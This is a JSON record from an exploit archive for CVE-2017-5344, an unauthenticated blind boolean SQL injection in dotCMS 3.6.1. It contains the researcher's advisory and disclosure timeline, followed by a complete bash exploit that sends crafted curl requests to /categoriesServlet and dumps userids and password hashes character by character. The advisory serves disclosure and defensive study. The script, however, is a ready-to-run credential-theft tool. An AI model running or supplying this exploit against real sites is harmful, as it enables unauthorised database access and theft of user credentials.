{"exploit":{"id":"EDB-41377","name":"dotCMS 3.6.1 - 'q'/'inode' Unauthenticated Blind Boolean SQL Injection (SQLi)","description":"dotCMS 3.6.1 - 'q'/'inode' Unauthenticated Blind Boolean SQL Injection (SQLi)","cves":["CVE-2017-5344"],"author":"Ben Nott","published":"2017-02-16","platform":"jsp","type":"webapps","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/41377","path":"exploits/jsp/webapps/41377.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-41377.sh","vulnerabilities":[{"id":"CVE-2017-5344","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in dotCMS through 3.6.1. The findChildrenByFilter() function which is called by the web accessible path /categoriesServlet performs string interpolation and direct SQL query execution. SQL quote escaping and a keyword blacklist were implemented in a new class, SQLUtil (main/java/com/dotmarketing/common/util/SQLUtil.java), as part of the remediation of CVE-2016-8902; however, these can be overcome in the case of the q and inode parameters to the /categoriesServlet path. Overcoming these controls permits a number of blind boolean SQL injection vectors in either parameter. The /categoriesServlet web path can be accessed remotely and without authentication in a default dotCMS deployment.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-5344","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-5344"},"updatedAt":"2024-08-05T14:55:35.807Z","retrievedAt":"2026-11-26T20:08:26.672Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-41377.png?v=2","url":"https://exploitbin.com/exploits/EDB-41377","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-41377/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-41377/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":": '\n# Blind Boolean SQL Injection in dotCMS <= 3.6.1 (CVE-2017-5344)\n\n## Product Description\n\ndotCMS is a scalable, java based, open source content management system\n(CMS) that has been designed to manage and deliver personalized, permission\nbased content experiences across multiple channels. dotCMS can serve as the\nplaform for sites, mobile apps, mini-sites, portals, intranets or as a\nheadless CMS (content is consumed via RESTful APIs). dotCMS is used\neverywhere, from running small sites to powering multi-node installations\nfor governemnts, Fortune 100 companies, Universities and Global Brands. A\ndotCMS environment can scale to support hundreds of editors managing\nthousands of sites with millions of content objects.\n\n## Vulnerability Type\n\nBlind Boolean SQL injection\n\n## Vulnerability Description\n\ndotCMS versions up to 3.6.1 (and possibly others) are vulnerable to blind\nboolean SQL injection in the q and inode parameters at the\n/categoriesServlet path. This servlet is a remotely accessible,\nunauthenticated function of default dotCMS installations and can be\nexploited to exfiltrate sensitive information from databases accessible to\nthe DMBS user configured with the product.\n\nExploitation of the vulnerability is limited to the MySQL DMBS in 3.5 -\n3.6.1 as SQL escaping controls were added to address a similar\nvulnerability discovered in previous versions of the product. The means of\nbypassing these features which realise this vulnerability have only been\nsuccessfully tested with MySQL 5.5, 5.6 and 5.7 and it is believed other\nDMBSes are not affected. Versions prior to 3.6 do not have these controls\nand can be exploited directly on a greater number of paired DMBSes.\nPostgreSQL is vulnerable in all described versions of dotCMS when\nPostgreSQL standard_confirming_strings setting is disabled (enabled by\ndefault).\n\nThe vulnerability is the result of string interpolation and directly SQL\nstatement execution without sanitising user input. The intermediate\nresolution for a previous SQLi vulnerability was to whitelist and partially\nfilter user input before interpolation. This vulnerability overcomes this\nfiltering to perform blind boolean SQL injection. The resolution to this\nvulnerability was to implement the use of prepared statements in the\naffected locations.\n\nThis vulnerability has been present in dotCMS since at least since version\n3.0.\n\n## Exploit\n\nA proof of concept is available here:\nhttps://github.com/xdrr/webapp-exploits/tree/master/vendors/dotcms/2017.01.blind-sqli\n\n## Versions\n\ndotCMS <= 3.3.2 and MYSQL, MSSQL, H2, PostgreSQL\n\ndotCMS 3.5 - 3.6.1 and (MYSQL or PostgreSQL w/ standard_confirming_strings\ndisabled)\n\n## Attack Type\n\nUnauthenticated, Remote\n\n## Impact\n\nThe SQL injection vulnerability can be used to exfiltrate sensitive\ninformation from the DBMS used with dotCMS. Depending of the DBMS\nconfiguration and type, the issue could be as severe as establishing a\nremote shell (such as by using xp_exec on MSSQL servers) or in the most\nlimited cases, restricted only to exfiltration of data in dotCMS database\ntables.\n\n## Credit\n\nThis vulnerability was discovered by Ben Nott <pajexali@gmail.com>.\n\nCredit goes to Erlar Lang for discovering similar SQL injection\nvulnerabilities in nearby code and for inspiring this discovery.\n\n## Disclosure Timeline\n\n  * Jan 2, 2017 - Issue discovered.\n  * Jan 2, 2017 - Vendor advised of discovery and contact requested for\nfull disclosure.\n  * Jan 4, 2017 - Provided full disclosure to vendor.\n  * Jan 5, 2017 - Vendor acknowledged disclosure and confirmed finding\nvalidity.\n  * Jan 14, 2017 - Vendor advised patch developed and preparing for release.\n  * Jan 24, 2017 - Vendor advised patching in progress.\n  * Feb 15, 2017 - Vendor advises ready for public disclosure.\n\n## References\n\nVendor advisory: http://dotcms.com/security/SI-39\nCVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5344\n'\n\n#!/bin/bash\n#\n# Dump password hashes from dotCMS <= 3.6.1 using blind boolean SQL injection.\n# CVE: CVE-2017-5344\n# Author: Ben Nott <pajexali@gmail.com>\n# Date: January 2017\n#\n# Note this exploit is tuned for MySQL backends but can be adapted\n# for other DMBS's.\n\nshow_usage() {\n    echo \"Usage $0 [target]\"\n    echo\n    echo \"Where:\"\n    echo -e \"target\\t...\\thttp://target.example.com (no trailing slash, port optional)\"\n    echo\n    echo \"For example:\"\n    echo\n    echo \"$0 http://www.examplesite.com\"\n    echo \"$0 https://www.mycmssite.com:9443\"\n    echo\n    exit 1\n}\n\ntest_exploit() {\n    target=$1\n    res=$(curl -k -s -X 'GET' \\\n           -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \\\n           \"${target}/categoriesServlet?q=%5c%5c%27\")\n\n    if [ $? -ne 0 ];\n    then\n        echo \"Failed to connect. Check host and try again!\"\n        exit 1\n    fi\n\n    if [ -z \"$res\" ];\n    then\n        echo \"The target appears vulnerable. We're good to go!\"\n    else\n        echo \"The target isn't vulnerable.\"\n        exit 1\n    fi\n}\n\ndump_char() {\n    target=$1\n    char=$2\n    database=$3\n    index=$4\n    offset=$5\n    column=$6\n    avg_delay=$7\n\n    if [ -z \"$offset\" ];\n    then\n        offset=1\n    fi\n\n    if [[ $char != *\"char(\"* ]];\n    then\n        char=\"%22${char}%22\"\n    fi\n\n    if [ -z \"$column\" ];\n    then\n        column=\"password_\"\n    fi\n\n    # Controls the avg delay of a FALSE\n    # request\n    if [ -z \"$avg_delay\" ];\n    then\n        avg_delay=\"0.100\"\n    fi\n\n    res=$(curl -k -sS \\\n        -w \" %{time_total}\" \\\n        -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \\\n        \"${target}/categoriesServlet?q=%5c%5c%27)+OR%2f%2a%2a%2f(SELECT(SUBSTRING((SELECT(${column})FROM(${database}.user_)LIMIT%2f%2a%2a%2f${index},1),${offset},1)))LIKE+BINARY+${char}%2f%2a%2a%2fORDER+BY+category.sort_order%23\")\n    data=$(echo $res | awk '{print $1}')\n    rtt=$(echo $res | awk '{print $2}')\n\n    # Calculate boolean based on time delay and\n    # data presence.\n    has_delay=$(echo \"${rtt}>${avg_delay}\" | bc -l)\n    if [ ! -z \"$data\" ];\n    then\n        if [ $has_delay -eq 1 ];\n        then\n            echo \"$char\"\n        fi\n    fi\n}\n\ntestdb() {\n    target=$1\n    res=$(dump_char $target 1 \"dotcms\" 1 1)\n    if [ ! -z \"$res\" ];\n    then\n        echo \"dotcms\"\n    else\n        res=$(dump_char $target 1 \"dotcms2\")\n        if [ ! -z \"$res\" ];\n        then\n            echo \"dotcms2\"\n        fi\n    fi\n}\n\nconvert_char() {\n    char=$1\n    conv=\"$char\"\n\n    if [ \"$char\" == \"char(58)\" ];\n    then\n        conv=\":\"\n    elif [ \"$char\" == \"char(47)\" ];\n    then\n        conv=\"/\"\n    elif [ \"$char\" == \"char(61)\" ];\n    then\n        conv=\"=\"\n    elif [ \"$char\" == \"char(45)\" ];\n    then\n        conv=\"-\"\n    fi\n\n    echo -n \"$conv\"\n}\n\na2chr() {\n    a=$1\n    printf 'char(%02d)' \\'$a\n}\n\nn2chr() {\n    n=$1\n    printf 'char(%d)' $n\n}\n\nchr2a() {\n    chr=$1\n    chr=$(echo $chr | sed -e 's/char(//g' -e 's/)//g')\n    chr=`printf \\\\\\\\$(printf '%03o' $chr)`\n    echo -n $chr\n}\n\niter_chars() {\n    target=$1\n    db=$2\n    user=$3\n    offset=$4\n    column=$5\n    for c in {32..36} {38..94} {96..126}\n    do\n        c=$(n2chr $c)\n        res=$(dump_char $target $c $db $user $offset $column)\n\n        if [ ! -z \"$res\" ];\n        then\n            chr2a $res\n            break\n        fi\n    done\n}\n\nexploit() {\n    target=$1\n    db=$(testdb $target)\n\n    if [ -z \"$db\" ];\n    then\n        echo \"Unable to identify database name used by dotcms instance!\"\n        exit 1\n    fi\n\n    echo \"Dumping users and passwords from database...\"\n    echo\n\n    for user in $(seq 0 1023);\n    do\n        validuser=1\n        echo -n \"| $user | \"\n        for offset in $(seq 1 1024);\n        do\n            res=$(iter_chars $target $db $user $offset \"userid\")\n\n            if [ -z \"$res\" ];\n            then\n                if [ $offset -eq 1 ];\n                then\n                    validuser=0\n                fi\n                break\n            fi\n\n            echo -n \"$res\";\n        done\n\n        if [ $validuser -eq 1 ];\n        then\n            printf \" | \"\n        else\n            printf \" |\\n\"\n            break\n        fi\n        for offset in $(seq 1 1024);\n        do\n            res=$(iter_chars $target $db $user $offset \"password_\")\n\n            if [ -z \"$res\" ];\n            then\n                break\n            fi\n\n            echo -n \"$res\";\n        done\n        printf \" |\\n\"\n    done\n    echo\n    echo \"Dumping complete!\"\n}\n\ntarget=$1\n\nif [ -z \"$target\" ];\nthen\n    show_usage\nfi\n\ntest_exploit $target\nexploit $target","sha256":"6348de3ef8fb5efb6ff320b2efc63b281e066dff8945b613ad29e2c3a4e97160","bytes":8585,"fetchedAt":"2026-11-26T20:08:24.883Z","encoding":"utf-8 (display only; download retains original bytes)"}